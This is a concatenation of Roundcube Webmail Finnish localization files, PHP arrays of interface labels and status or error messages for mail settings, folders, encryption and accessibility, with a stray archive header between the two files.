$labels['deletealways'] = 'Poista viestit, joiden siirtäminen roskakoriin epäonnistuu';
$labels['deletejunk'] = 'Poista roskapostiviestit suoraan';
$labels['showremoteimages'] = 'Näytä ulkopuoliset kuvat viestissä';
$labels['allowremoteresources'] = 'Salli ulkoiset lähteet (kuvat, tyylitiedostot)';
$labels['fromknownsenders'] = 'tunnetuilta lähettäjiltä';
$labels['fromtrustedsenders'] = 'tunnetuista lähettäjistä';
$labels['frommycontacts'] = 'yhteystiedoistani';
$labels['always'] = 'aina';
$labels['alwaysbutplain'] = 'aina, paitsi vastatessa "vain teksti"-viesteihin';
$labels['showinlineimages'] = 'Näytä liitekuvat viestin jälkeen';
$labels['autosavedraft'] = 'Tallenna luonnos automaattisesti';
$labels['everynminutes'] = 'joka $n. minuutti';
$labels['refreshinterval'] = 'Päivitä (tarkista uudet viestit jne.)';
$labels['never'] = 'ei koskaan';
$labels['immediately'] = 'välittömästi';
$labels['messagesdisplaying'] = 'Viestien näyttäminen';
$labels['messagescomposition'] = 'Viestien kirjoittaminen';
$labels['mimeparamfolding'] = 'Liitetiedostojen nimet';
$labels['2231folding'] = 'Täysin RFC 2231:n mukainen (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231:n mukainen (MS Outlook)';
$labels['2047folding'] = 'Täysin RFC 2047:n mukainen (muut)';
$labels['force7bit'] = 'Käytä MIME-koodausta 8-bittisille merkeille';
$labels['savelocalstorage'] = "Tallenna selaimen paikalliseen tallennustilaan (väliaikaisesti)";
$labels['advancedoptions'] = 'Lisäasetukset';
$labels['toggleadvancedoptions'] = 'Vaihda edistyneemmät valinnat';
$labels['focusonnewmessage'] = 'Tarkenna selainikkuna uuteen viestiin';
$labels['checkallfolders'] = 'Tarkista kaikki kansiot uusien viestien varalta';
$labels['displaynext'] = 'Näytä listalta seuraava poiston/siirron jälkeen';
$labels['defaultfont'] = 'HTML-viestin oletuskirjasin';
$labels['mainoptions'] = 'Pääasetukset';
$labels['browseroptions'] = 'Selainasetukset';
$labels['section'] = 'Kohta';
$labels['maintenance'] = 'Huolto';
$labels['newmessage'] = 'Uusi viesti';
$labels['signatureoptions'] = 'Allekirjoituksen asetukset';
$labels['whenreplying'] = 'Vastattaessa';
$labels['replyempty'] = 'älä lainaa alkuperäistä viestiä';
$labels['replytopposting'] = 'aloita uusi viesti alkuperäisen yläpuolelle';
$labels['replytoppostingnoindent'] = 'aloita uusi viesti lainauksen yläpuolella (ei sisennystä)';
$labels['replybottomposting'] = 'aloita uusi viesti alkuperäisen alapuolelle';
$labels['replyremovesignature'] = 'Vastattaessa poista alkuperäinen allekirjoitus viestistä';
$labels['autoaddsignature'] = 'Lisää allekirjoitus automaattisesti';
$labels['newmessageonly'] = 'vain uuteen viestiin';
$labels['replyandforwardonly'] = 'vain vastauksiin ja välityksiin';
$labels['insertsignature'] = 'Lisää allekirjoitus';
$labels['sigbelow'] = 'Aseta allekirjoitus lainatun viestin alapuolelle';
$labels['sigseparator'] = 'Pakota standardi erotin allekirjoituksissa';
$labels['automarkread'] = 'Merkitse viestit luetuksi';
$labels['afternseconds'] = '$n sekunnin jälkeen';
$labels['reqmdn'] = 'Pyydä aina kuittausviestiä';
$labels['reqdsn'] = 'Pyydä aina toimituksen tilailmoitus';
$labels['replysamefolder'] = 'Laita vastaukseni samaan hakemistoon alkuperäisen viestin kanssa';
$labels['defaultabook'] = 'Oletusarvoinen osoitekirja';
$labels['autocompletesingle'] = 'Älä huomioi vaihtoehtoisia sähköpostiosoitteita automaattisessa täydennyksessä';
$labels['listnamedisplay'] = 'Listaa yhteystiedot';
$labels['contactformmode'] = 'Yhteydenottolomaketila';
$labels['privatemode'] = 'Yksityinen (Koti)';
$labels['businessmode'] = 'Työ';
$labels['collectedaddresses'] = 'Kerätyt osoitteet';
$labels['collectedrecipients'] = 'Kerätyt vastaanottajat';
$labels['collectedrecipientsopt'] = 'Säilytä lähtevien sähköpostien vastaanottajat';
$labels['collectedsendersopt'] = 'Säilytä luotetut lähettäjät';
$labels['trustedsenders'] = 'Luotetut lähettäjät';
$labels['spellcheckbeforesend'] = 'Tarkista oikeinkirjoitus ennen viestin lähetystä';
$labels['spellcheckoptions'] = 'Oikuluvun asetukset';
$labels['spellcheckignoresyms'] = 'Jätä huomiotta sanat, joissa on symboleja';
$labels['spellcheckignorenums'] = 'Jätä huomiotta sanat, joissa on numeroita';
$labels['spellcheckignorecaps'] = 'Jätä huomiotta sanat, joissa kaikki kirjaimet on isoja';
$labels['addtodict'] = 'Lisää sanakirjaan';
$labels['mailtoprotohandler'] = 'Rekisteröi mailto:-linkkien protokollakäsitteljä';
$labels['standardwindows'] = 'Käsittele popup-ikkunoita tavallisina ikkunoina';
$labels['forwardmode'] = 'Viestin välitys';
$labels['inline'] = 'rivissä';
$labels['asattachment'] = 'liitteenä';
$labels['replyallmode'] = 'Oletustoiminto [Vastaa kaikille]-painikkeelle';
$labels['replyalldefault'] = 'vastaa kaikille';
$labels['replyalllist'] = 'vastaa pelkälle postituslistalle (jos havaittu)';
$labels['allmessages'] = 'Kaikki viestit';
$labels['olderxdays'] = 'vanhempi kuin $x päivää';
$labels['folder'] = 'Kansio';
$labels['folders'] = 'Kansiot';
$labels['foldername'] = 'Kansion nimi';
$labels['subscribed'] = 'Näytetään';
$labels['messagecount'] = 'Viestejä';
$labels['create'] = 'Luo uusi';
$labels['createfolder'] = 'Luo uusi kansio';
$labels['managefolders'] = 'Kansioiden hallinta';
$labels['specialfolders'] = 'Erikoiskansiot';
$labels['properties'] = 'Ominaisuudet';
$labels['folderproperties'] = 'Kansion ominaisuudet';
$labels['parentfolder'] = 'Yläkansio';
$labels['location'] = 'Sijanti';
$labels['info'] = 'Tietoja';
$labels['getfoldersize'] = 'Napsauta saadaksesi kansion koon';
$labels['changesubscription'] = 'Klikkaa muuttaaksesi tilausta';
$labels['foldertype'] = 'Kansion tyyppi';
$labels['personalfolder'] = 'Yksityinen kansio';
$labels['otherfolder'] = 'Toisen käyttäjän kansio';
$labels['sharedfolder'] = 'Julkinen kansio';
$labels['findfolders'] = 'Etsi kansioita';
$labels['findcontacts'] = 'Etsi yhteystiedot';
$labels['findmail'] = 'Etsi viestit';
$labels['namespace.personal'] = 'Henkilökohtainen';
$labels['namespace.other'] = 'Muut käyttäjät';
$labels['namespace.shared'] = 'Jaettu';
$labels['dualuselabel'] = 'Voi sisältää vain';
$labels['dualusemail'] = 'viestit';
$labels['dualusefolder'] = 'kansiot';
$labels['generate'] = 'Luo';
$labels['encryptioncreatekey'] = 'Luo uusi avainpari';
$labels['openmailvelopesettings'] = 'Avaa Mailvelopen asetukset';
$labels['encryptionprivkeysinmailvelope'] = 'Sinulla on $nr täsmäävää yksityistä avainta tallennettuna Mailvelope-avainketjuusi:';
$labels['encryptionnoprivkeysinmailvelope'] = 'Tällä lähettäjäidentiteetillä ei vielä ole yksityistä PGP-avainta tallennettuna Mailvelope-laajennukseesi. Haluatko luoda avaimen mahdollistaaksesi salatun viestinnän?';
$labels['encryption'] = 'Salaus';
$labels['mailvelopeoptions'] = 'Mailvelopen valinnat';
$labels['mailvelopemainkeyring'] = 'Käytä Mailvelopen pääavainnippua';
$labels['mailvelopenotfound'] = 'Mailvelope-laajennusta ei ole otettu käyttöön tai asennettu selaimeesi.';
$labels['sortby'] = 'Järjestä';
$labels['sortasc'] = 'Järjestä nousevasti (a-ö)';
$labels['sortdesc'] = 'Järjestä laskevasti (ö-a)';
$labels['undo'] = 'Kumoa';
$labels['installedplugins'] = 'Asennetut lisäosat';
$labels['plugin'] = 'Liitännäinen';
$labels['version'] = 'Versio';
$labels['source'] = 'Lähde';
$labels['destination'] = 'Kohde';
$labels['license'] = 'Lisenssi';
$labels['support'] = 'Hanki tukea';
$labels['savedsearches'] = 'Tallennetut haut';
$labels['dateformatY'] = 'VVVV';
$labels['dateformaty'] = 'VV';
$labels['dateformatm'] = 'KK';
$labels['dateformatd'] = 'PP';
$labels['dateformatj'] = 'P';
$labels['dateformatn'] = 'K';
$labels['B'] = 't';
$labels['KB'] = 'Kt';
$labels['MB'] = 'Mt';
$labels['GB'] = 'Gt';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Englantilainen';
$labels['westerneuropean'] = 'Länsieurooppalainen';
$labels['easterneuropean'] = 'Itäeurooppalainen';
$labels['southeasterneuropean'] = 'Eteläeurooppalainen';
$labels['baltic'] = 'Balttilainen';
$labels['cyrillic'] = 'Kyrillinen';
$labels['arabic'] = 'Arabialainen';
$labels['greek'] = 'Kreikkalainen';
$labels['hebrew'] = 'Heprealainen';
$labels['turkish'] = 'Turkkilainen';
$labels['nordic'] = 'Pohjoismaalainen';
$labels['thai'] = 'Thaimaalainen';
$labels['celtic'] = 'Kelttiläinen';
$labels['vietnamese'] = 'Vietnamilainen';
$labels['japanese'] = 'Japanilainen';
$labels['korean'] = 'Korealainen';
$labels['chinese'] = 'Kiinalainen';
$labels['arialabeltopnav'] = 'Ikkunan hallinta';
$labels['arialabeltasknav'] = 'Sovelluksen tehtävät';
$labels['arialabeltoolbar'] = 'Sovelluksen työkalupalkki';
$labels['arialabellistnav'] = 'Listan navigointi';
$labels['arialabelactivetask'] = 'Aktiivinen tehtävä';
$labels['arialabelmessagessearchfilter'] = 'Sähköpostin listaussuodatin';
$labels['arialabelmailsearchform'] = 'Sähköpostiviestin hakulomake';
$labels['arialabelcontactsearchform'] = 'Yhteyshenkilöiden hakulomake';
$labels['arialabelmailquicksearchbox'] = 'Sähköpostihaun syöttö';
$labels['arialabelquicksearchbox'] = 'Haun syöttö';
$labels['arialabelfoldersearchfilter'] = 'Kansion listaussuodatin';
$labels['arialabelfoldersearchform'] = 'Kansion hakulomake';
$labels['arialabelfolderlist'] = 'Sähköpostin kansion valinta';
$labels['arialabelmessagelist'] = 'Sähköpostiviestien listaus';
$labels['arialabelmailpreviewframe'] = 'Viestin esikatselu';
$labels['arialabelmailboxmenu'] = 'Kansion toimintovalikko';
$labels['arialabellistselectmenu'] = 'Listaa valintavalikko';
$labels['arialabelthreadselectmenu'] = 'Keskusteluiden listausvalikko';
$labels['arialabelmessagelistoptions'] = 'Viestilista ja järjestelyvalinnat';
$labels['arialabelmailimportdialog'] = 'Viestintuonti';
$labels['arialabelmessagenav'] = 'Viestien navigointi';
$labels['arialabelmessagebody'] = 'Viestin runko';
$labels['arialabelmessageactions'] = 'Viestitoiminnot';
$labels['arialabelcontactquicksearch'] = 'Yhteyshenkilöiden hakulomake';
$labels['arialabelcontactsearchbox'] = 'Yhteyshenkilön hakusyöte';
$labels['arialabelmessageheaders'] = 'Viestin otsakkeet';
$labels['arialabelforwardingoptions'] = 'Uudelleenohjausvalinnat';
$labels['arialabelreplyalloptions'] = 'Vastaa kaikille -valinnat';
$labels['arialabelmoremessageactions'] = 'Lisää viestitoimintoja';
$labels['arialabelmorecontactactions'] = 'Lisää yhteystietotoimintoja';
$labels['arialabelmarkmessagesas'] = 'Merkitse valitut viestit...';
$labels['arialabelcomposeoptions'] = 'Kirjoitusvalinnat';
$labels['arialabelresponsesmenu'] = 'Valmiit vastaukset -valikko';
$labels['arialabelattachmentuploadform'] = 'Liitteen lähetyslomake';
$labels['arialabelattachmentmenu'] = 'Liitteiden asetukset';
$labels['arialabelmailtomenu'] = 'Sähköpostiosoitteen asetukset';
$labels['arialabelattachmentpreview'] = 'Liitteen esikatselu';
$labels['ariasummarycomposecontacts'] = 'Luettelo yhteyshenkilöistä ja ryhmistä, jotka voi valita vastaanottajaksi';
$labels['arialabelcontactexportoptions'] = 'Yhteyshenkilön vientivalinnat';
$labels['arialabelabookgroupoptions'] = 'Osoitekirjan/ryhmän valinnat';
$labels['arialabelpreferencesform'] = 'Asetukset -lomake';
$labels['arialabelidentityeditfrom'] = 'Henkilöyden muokkauslomake';
$labels['arialabelresponseeditfrom'] = 'Vastauksen muokkauslomake';
$labels['arialabelsearchterms'] = 'Hakuehdot';
$labels['arialabeldropactionmenu'] = 'Raahaa ja pudota toimintovalikko';
$labels['arialabelheadersmenu'] = 'Vastaanottajaotsakkeen lisäysvalikko';
$labels['arialabelimagetools'] = 'Kuvatyökalut';
$labels['helplistnavigation'] = 'Luetteloi näppäimistönavigointi';
$labels['helplistkeyboardnavigation'] = "Nuolet ylös/alas: Siirrä kohdistettua riviä/valintaa.
Välilyönti: Valitse kohdistettu rivi.
Shift + ylös/alas: Valitse lisää rivejä yläpuolelta/alapuolelta.
Ctrl + välilyönti: Lisää kohdistettu rivi valintaan/poista valinnasta.";
$labels['helplistkeyboardnavmessages'] = "Nuolinäppäimet oikealle/vasemmalle: Laajenna/kutista viestikeskustelut (vain keskustelu-tilassa).
Entteri/rivinvaihto: Avaa valittu/kohdistettu viesti.
Delete/poista: Siirrä valitut viestit roskakoriin.";
$labels['helplistkeyboardnavcontacts'] = "Enter: avaa valittu/kohdistettu yhteystieto.";
PK
h�\��%F%F'program/localization/fi_FI/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Virhe havaittu.';
$messages['loginfailed']  = 'Sisäänkirjautuminen epäonnistui';
$messages['cookiesdisabled'] = 'Selaimesi ei hyväksy evästeitä';
$messages['sessionerror'] = 'Sessio ei kelpaa tai ei ole enää voimassa';
$messages['cookiesmismatch'] = 'Evästeiden yhteensopimattomuus havaittu. Tyhjennä selaimessasi olevat evästeet.';
$messages['storageerror'] = 'Yhteys IMAP-palvelimeen epäonnistui';
$messages['servererror'] = 'Palvelinvirhe!';
$messages['servererrormsg'] = 'Palvelinvirhe: $msg';
$messages['accountlocked'] = 'Liian monta epäonnistunutta kirjautumisyritystä. Yritä myöhemmin uudelleen.';
$messages['connerror'] = 'Yhteysvirhe, ei yhteyttä palvelimeen!';
$messages['dberror'] = 'Tietokantavirhe!';
$messages['dbconnerror'] = 'Tietokantaan ei voitu yhdistää!';
$messages['windowopenerror'] = 'Ponnahdusikkuna estettiin!';
$messages['requesttimedout'] = 'Pyyntö aikakatkaistiin';
$messages['errorreadonly'] = 'Toiminnon suoritus ei onnistu, koska hakemisto on vain lukutilassa.';
$messages['errornoperm'] = 'Toimintoa ei voitu suorittaa. Ei oikeuksia.';
$messages['erroroverquota'] = 'Toiminnon suoritus epäonnistui. Levytila on loppu.';
$messages['erroroverquotadelete'] = 'Levytila on loppu. Paina SHIFT+DEL poistaaksesi viestin.';
$messages['invalidrequest'] = 'Virheellinen pyyntö! Tietoa ei tallennettu.';
$messages['invalidhost'] = 'Virheellinen palvelinnimi.';
$messages['nomessagesfound'] = 'Kansiossa ei ole sähköpostiviestejä';
$messages['loggedout'] = 'Lopetit istunnon onnistuneesti. Näkemiin!';
$messages['mailboxempty'] = 'Postilaatikko on tyhjä';
$messages['nomessages'] = 'Ei viestejä';
$messages['refreshing'] = 'Päivitetään...';
$messages['loading'] = 'Ladataan...';
$messages['uploading'] = 'Ladataan tiedostoa palvelimelle...';
$messages['attaching'] = 'Liitetään tiedostoa...';
$messages['uploadingmany'] = 'Ladataan tiedostoja...';
$messages['loadingdata'] = 'Ladataan tietoja...';
$messages['checkingmail'] = 'Tarkistetaan saapuneita viestejä...';
$messages['sendingmessage'] = 'Lähetetään viestiä...';
$messages['messagesent'] = 'Viesti lähetetty';
$messages['savingmessage'] = 'Tallennetaan viestiä...';
$messages['messagesaved'] = 'Viesti tallennettu "Luonnokset"-kansioon';
$messages['successfullysaved'] = 'Tallennus onnistui';
$messages['savingresponse'] = 'Tallennetaan vastaustekstiä...';
$messages['deleteresponseconfirm'] = 'Haluatko varmasti poistaa tämän vastaustekstin?';
$messages['nocontactselected'] = 'Et ole vielä valinnut yhteystietoja.';
$messages['addedsuccessfully'] = 'Yhteystieto lisätty osoitekirjaan';
$messages['contactexists'] = 'Yhteystieto samalla sähköpostiosoitteella on jo olemassa.';
$messages['contactnameexists'] = 'Yhteystieto samalla nimellä on jo olemassa';
$messages['blockedimages'] = 'Turvallisuussyistä viestin kuvia ei näytetty.';
$messages['blockedresources'] = 'Turvallisuussyistä viestin ulkoisia lähteitä ei näytetty.';
$messages['suspiciousemail'] = 'Viesti sisältää epäilyttäviä sähköpostiosoitteita, jotka voivat olla vilpillisiä.';
$messages['bccemail'] = 'Välitetyt viestit sisältävät luottamuksellisia vastaanottajia (Bcc).';
$messages['bouncehint'] = 'Viesti lähetetään muutoksitta, eli viestin runko, otsakkeet ja vastaanottajat pysyvät samana.';
$messages['encryptedmessage'] = 'Viesti on salattu, eikä sitä voida näyttää.';
$messages['externalmessagedecryption'] = 'Tämä on salattu viesti. Viestin salaus on mahdollista purkaa selaimesi laajennuksella.';
$messages['nopubkeyfor'] = 'Sähköpostille $email ei löytynyt kelvollista julkista avainta';
$messages['nopubkeyforsender'] = 'Lähettäjäidentiteetillesi ei löytynyt kelvollista julkista avainta. Haluatko salata viestin vain vastaanottajille?';
$messages['encryptnoattachments'] = 'Entuudestaan määritettyjä liitteitä ei voi salata. Lisää liitteet uudelleen salausmuokkaimen kautta.';
$messages['searchpubkeyservers'] = 'Haluatko etsiä puuttuvia avaimia julkisten avainten palvelimilta?';
$messages['encryptpubkeysfound'] = 'Seuraavat avaimet löydettiin:';
$messages['keyservererror'] = 'Avaimen noutaminen avainpalvelimelta epäonnistui.';
$messages['keyimportsuccess'] = 'Julkinen avain $key tuotiin onnistuneesti avainnippuusi.';
$messages['nocontactsfound'] = 'Yhteystietoja ei löytynyt.';
$messages['contactnotfound'] = 'Pyydettyä yhteystietoa ei löytynyt';
$messages['contactsearchonly'] = 'Sinun on käytettävä hakulomaketta nähdäksesi yhteystiedot valitusta osoitekirjasta.';
$messages['sendingfailed'] = 'Viestin lähetys epäonnistui';
$messages['senttooquickly'] = 'Odota $sec sekunti(a) ennen viestin lähettämistä';
$messages['errorsavingsent'] = 'Virhe tallennettaessa lähetettyä viestiä.';
$messages['errorsaving'] = 'Virhe tallennettaessa.';
$messages['errormoving'] = 'Viestiä ei voitu siirtää';
$messages['errorcopying'] = 'Viestiä ei voitu kopioida';
$messages['errordeleting'] = 'Viestiä ei voitu poistaa';
$messages['errormarking'] = 'Viestiä ei voitu merkiä';
$messages['alerttitle'] = 'Huomio';
$messages['confirmationtitle'] = 'Oletko varma...';
$messages['deletecontactconfirm']  = 'Haluatko varmasti poistaa valitut yhteystiedot?';
$messages['deletegroupconfirm']  = 'Haluatko varmasti poistaa valitun ryhmän?';
$messages['deletemessagesconfirm'] = 'Haluatko varmasti poistaa valitut viestit?';
$messages['deletefolderconfirm']  = 'Haluatko varmasti poistaa kansion?';
$messages['movefolderconfirm']  = 'Haluatko varmasti siirtää tämän kansion?';
$messages['purgefolderconfirm']  = 'Haluatko varmasti poistaa kaikki viestit kansiosta?';
$messages['contactdeleting'] = 'Poistetaan yhteystietoja...';
$messages['groupdeleting'] = 'Poistetaan ryhmää...';
$messages['folderdeleting'] = 'Poistetaan kansiota...';
$messages['foldermoving'] = 'Siirretään kansiota...';
$messages['foldersubscribing'] = 'Tilataan kansio...';
$messages['folderunsubscribing'] = 'Perutaan kansio tilaus...';
$messages['formincomplete'] = 'Lomakkeen tiedot olivat puutteelliset';
$messages['noemailwarning'] = 'Anna sähköpostiosoite';
$messages['nonamewarning']  = 'Anna nimi';
$messages['nopagesizewarning'] = 'Anna sivukoko';
$messages['nosenderwarning'] = 'Anna lähettäjän sähköpostiosoite.';
$messages['recipientsadded'] = 'Vastaanottaja(t) lisätty onnistuneesti.';
$messages['norecipientwarning'] = 'Anna ainakin yksi vastaanottaja';
$messages['disclosedrecipwarning'] = 'Kaikki vastaanottajat tulevat näkemään muut vastaanottajat. Estääksesi tämän ja suojellaksesi heidän turvallisuutta käytä BCC-kenttää.';
$messages['disclosedreciptitle'] = 'Liian monta julkista vastaanottajaa';
$messages['nosubjectwarning']  = '"Aihe"-kenttä on tyhjä. Haluatko kirjoittaa viestillesi aiheen?';
$messages['nosubjecttitle']  = 'Ei aihetta';
$messages['nobodywarning'] = 'Lähetetäänkö viesti ilman tekstiä?';
$messages['notsentwarning'] = 'Viestiä ei lähetetty ja se sisältää tallentamattomia muutoksia. Haluatko hylätä muutoksesi?';
$messages['restoresavedcomposedata'] = 'Löydettiin aiemmin luotu, mutta lähettämätön viesti.\n\nAihe: $subject\nTallennettu: $date\n\nHaluatko palauttaa tämän viestin?';
$messages['nosearchname'] = 'Anna yhteystiedon nimi tai sähköpostiosoite';
$messages['notuploadedwarning'] = 'Kaikkia liitteitä ei ole vielä ladattu palvelimelle. Odota tai peruuta lataus.';
$messages['searchsuccessful'] = 'Löydetty $nr viestiä';
$messages['contactsearchsuccessful'] = 'Löydetty $nr yhteystietoa';
$messages['searchnomatch'] = 'Haku ei tuottanut tuloksia';
$messages['searching'] = 'Etsitään...';
$messages['checking'] = 'Tarkistetaan...';
$messages['stillsearching'] = 'Etsitään edelleen...';
$messages['nospellerrors'] = 'Kirjoitusvirheitä ei löytynyt.';
$messages['folderdeleted'] = 'Kansio poistettu onnistuneesti';
$messages['foldersubscribed'] = 'Kansio tilattu onnistuneesti.';
$messages['folderunsubscribed'] = 'Kansion tilaus poistettu onnistuneesti.';
$messages['folderpurged'] = 'Kansio tyhjennettiin onnistuneesti.';
$messages['folderexpunged'] = 'Kansio tiivistettiin onnistuneesti.';
$messages['deletedsuccessfully'] = 'Poistettu onnistuneesti';
$messages['converting'] = 'Poistetaan asettelu viestistä...';
$messages['messageopenerror'] = 'Virhe kopioitaessa viestiä palvelimelta';
$messages['filelinkerror'] = 'TIedoston liittäminen epäonnistui.';
$messages['fileuploaderror'] = 'Tiedoston lähettäminen epäonnistui';
$messages['csvfilemismatch'] = 'Useiden CSV-tiedostojen tuontia erilaisilla kentillä ei tueta.';
$messages['filesizeerror'] = 'Lähetettävä tiedosto ylittää sallitun enimmäiskoon $size';
$messages['filecounterror'] = 'Voit lähettää maksimissaan $count tiedostoa kerralla.';
$messages['msgsizeerror'] = 'Tiedoston liittäminen epäonnistui. Viestin enimmäiskoko ($size) ylitettiin.';
$messages['msgsizeerrorfwd'] = 'Viestin suurin sallittu koko ($size) ylittyi. $num viesti(ä) jätettiin liittämättä.';
$messages['copysuccess'] = '$nr yhteystietoa kopioitiin onnistuneesti.';
$messages['movesuccess'] = '$nr yhteystietoa siirrettiin onnistuneesti.';
$messages['copyerror'] = 'Yhdenkään yhteystiedon kopiointi ei onnistunut.';
$messages['moveerror'] = 'Minkään yhteystiedon siirto ei onnistunut.';
$messages['sourceisreadonly'] = 'Tämän osoitteen lähde on kirjoitussuojattu';
$messages['errorsavingcontact'] = 'Yhteystietoa ei voitu tallentaa';
$messages['movingmessage'] = 'Siirretään viestiä...';
$messages['copyingmessage'] = 'Kopioidaan viestiä...';
$messages['copyingcontact'] = 'Kopioidaan yhteystietoja...';
$messages['movingcontact'] = 'Siirretään yhteystieto(j)a...';
$messages['deletingmessage'] = 'Poistetaan viestejä...';
$messages['markingmessage'] = 'Merkitään viestejä...';
$messages['addingmember'] = 'Lisätään yhteystietoja ryhmään...';
$messages['removingmember'] = 'Poistetaan yhteystietoja ryhmästä...';
$messages['receiptsent'] = 'Lukukuittaus lähetetty onnistuneesti';
$messages['errorsendingreceipt'] = 'Lukukuittausta ei voitu lähettää';
$messages['deleteidentityconfirm'] = 'Haluatko varmasti poistaa identiteetin?';
$messages['nodeletelastidentity'] = 'Et voi poistaa tätä identiteettiä, koska se on ainoa jäljelläoleva';
$messages['forbiddencharacter'] = 'Kansion nimessä on kiellettyjä merkkejä';
$messages['selectimportfile'] = 'Valitse lähetettävä tiedosto';
$messages['addresswriterror'] = 'Valittuun osoitekirjaan ei voi kirjoittaa';
$messages['contactaddedtogroup'] = 'Yhteystiedot lisätty ryhmään';
$messages['contactremovedfromgroup'] = 'Yhteystiedot poistettu ryhmästä';
$messages['nogroupassignmentschanged'] = 'Ryhmämäärityksiä ei muutettu.';
$messages['importwait'] = 'Tuodaan, odota...';
$messages['importformaterror'] = 'Tuonti epäonnistui! Lähetetty tiedosto ei ole kelvollinen tuontitiedosto.';
$messages['importconfirm'] = '<b>$inserted yhteystietoa tuotu onnistuneesti</b>';
$messages['importconfirmskipped'] = '<b>Ohitettu $skipped  olemassa olevaa merkintää</b>';
$messages['importmessagesuccess'] = '$nr viestiä tuotiin onnistuneesti';
$messages['importmessageerror'] = 'Tuonti epäonnistui! Lähetetty tiedosto ei ole kelvollinen viesti tai mailbox-tiedosto';
$messages['opnotpermitted'] = 'Toiminto ei ole sallittu!';
$messages['nofromaddress'] = 'Valitusta identiteetistä puuttuu sähköpostiosoite.';
$messages['editorwarning'] = 'Muokkaintyypin vaihtaminen saattaa aiheuttaa tekstin muotoilun katoamisen. Haluatko jatkaa?';
$messages['httpreceivedencrypterror'] = 'Vakava virhe asetuksissa. Ota välittömästi yhteys ylläpitoon. <b>Viestiäsi ei voida lähettää.</b>';
$messages['smtpconnerror'] = 'SMTP-virhe ($code): Palvelimelle yhdistäminen epäonnistui';
$messages['smtpautherror'] = 'SMTP-virhe ($code): Tunnistus epäonnistui';
$messages['smtpfromerror'] = 'SMTP-virhe ($code): Lähettäjän "$from" asettaminen epäonnistui ($msg)';
$messages['smtptoerror'] = 'SMTP-virhe ($code): Vastaanottajan "$to" lisääminen epäonnistui ($msg)';
$messages['smtprecipientserror'] = 'SMTP-virhe: Ei voida jäsentää vastaanottajien listaa.';
$messages['smtputf8error'] = 'SMTP-virhe: Palvelin ei tue Unicodea sähköpostiosoitteessa.';
$messages['smtpsizeerror'] = 'SMTP-virhe: Viestin koko ylittää palvleimen rajoituksen ($limit)';
$messages['smtperror'] = 'SMTP-virhe: $msg';
$messages['emailformaterror'] = 'Virheellinen sähköpostiosoite: $email';
$messages['toomanyrecipients'] = 'Liikaa vastaanottajia. Vähennä vastaanottajien määrä maksimiin $max.';
$messages['maxgroupmembersreached'] = 'Ryhmän jäsenten määrä ylittää maksimin $max';
$messages['internalerror'] = 'Sisäinen virhe. Yritä uudelleen.';
$messages['contactdelerror'] = 'Yhteystietoja ei voitu poistaa.';
$messages['contactdeleted'] = 'Yhteystiedot poistettu onnistuneesti.';
$messages['contactrestoreerror'] = 'Poistettujen yhteystietojen palautus epäonnistui.';
$messages['contactrestored'] = 'Yhteystiedot palautettu onnistuneesti.';
$messages['groupdeleted'] = 'Ryhmä poistettu onnistuneesti.';
$messages['grouprenamed'] = 'Ryhmä nimetty uudelleen onnistuneesti.';
$messages['groupcreated'] = 'Ryhmä luotu onnistuneesti.';
$messages['savedsearchdeleted'] = 'Tallennettu haku poistettu onnistuneesti.';
$messages['savedsearchdeleteerror'] = 'Tallennetun haun poisto epäonnistui.';
$messages['savedsearchcreated'] = 'Tallennettu haku luotu onnistuneesti.';
$messages['savedsearchcreateerror'] = 'Tallennetun haun tallennus epäonnistui.';
$messages['messagedeleted'] = 'Viestit poistettu onnistuneesti.';
$messages['messagemoved'] = 'Viestit siirretty onnistuneesti.';
$messages['messagemovedtotrash'] = 'Yksi tai useampi viesti siirrettiin roskakoriin onnistuneesti.';
$messages['messagecopied'] = 'Viestit kopioitu onnistuneesti.';
$messages['messagemarked'] = 'Viestit merkitty onnistuneesti.';
$messages['autocompletechars'] = 'Kirjoita vähintään $min merkkiä  ennen automaattista täydennystä.';
$messages['autocompletemore'] = 'Täsmääviä kohteita löytyi enemmän. Syötä lisää merkkejä.';
$messages['namecannotbeempty'] = 'Nimi ei voi olla tyhjä.';
$messages['nametoolong'] = 'Nimi on liian pitkä.';
$messages['namedotforbidden'] = 'Kansion nimi ei voi alkaa pisteellä.';
$messages['folderupdated'] = 'Kansio päivitetty onnistuneesti.';
$messages['foldercreated'] = 'Kansio luotu onnistuneesti.';
$messages['invalidimageformat'] = 'Virheellinen kuvamuoto.';
$messages['mispellingsfound'] = 'Viestissä havaittiin kielioppivirheitä.';
$messages['parentnotwritable'] = 'Kansiota ei voitu siirtää tai luoda valittuun yläkansioon. Ei käyttöoikeutta.';
$messages['messagetoobig'] = 'Viestiosa on liian suuri prosessoitavaksi.';
$messages['attachmentvalidationerror'] = 'Liitetiedosto on epäilyttävä, koska sen tyyppi ei ole sama kuin viestissä määritetty. Jos et luota lähettäjään, tiedostoa ei tulisi avata selaimessa, koska se voi sisältää haitallista sisältöä.<br/><br/><em>Odotettu: $expected; löytynyt: $detected</em>';
$messages['noscriptwarning'] = 'Varoitus: Tämä verkkopohjainen sähköpostipalvelu vaatii Javascriptin toimiakseen. Ota Javascript käyttöön selaimesi asetuksista.';
$messages['messageissent'] = 'Viesti lähetettiin jo, mutta sitä ei vielä tallennettu. Haluatko tallentaa sen nyt?';
$messages['errnotfound'] = 'Tiedostoa ei löytynyt';
$messages['errnotfoundexplain'] = 'Pyydettyä resurssia ei löytynyt!';
$messages['errfailedrequest'] = 'Pyyntö epäonnistui';
$messages['errauthorizationfailed'] = 'Valtuutus epäonnistui';
$messages['errunauthorizedexplain'] = 'Tämän palvelun käyttöön vaadittavan valtuutuksen tarkistaminen epäonnistui!';
$messages['errrequestcheckfailed'] = 'Pyyntötarkistus epäonnistui';
$messages['errcsrfprotectionexplain'] = "Turvallisuutesi vuoksi tämän resurssin käyttö on suojattu CSRF:ää vastaan.\nJos näet tämän viestin, et luultavasti kirjautunut ulos, ennen kuin poistuit verkkosovelluksesta.\n\nVuorovaikutustasi tarvitaan nyt, jotta voit jatkaa.";
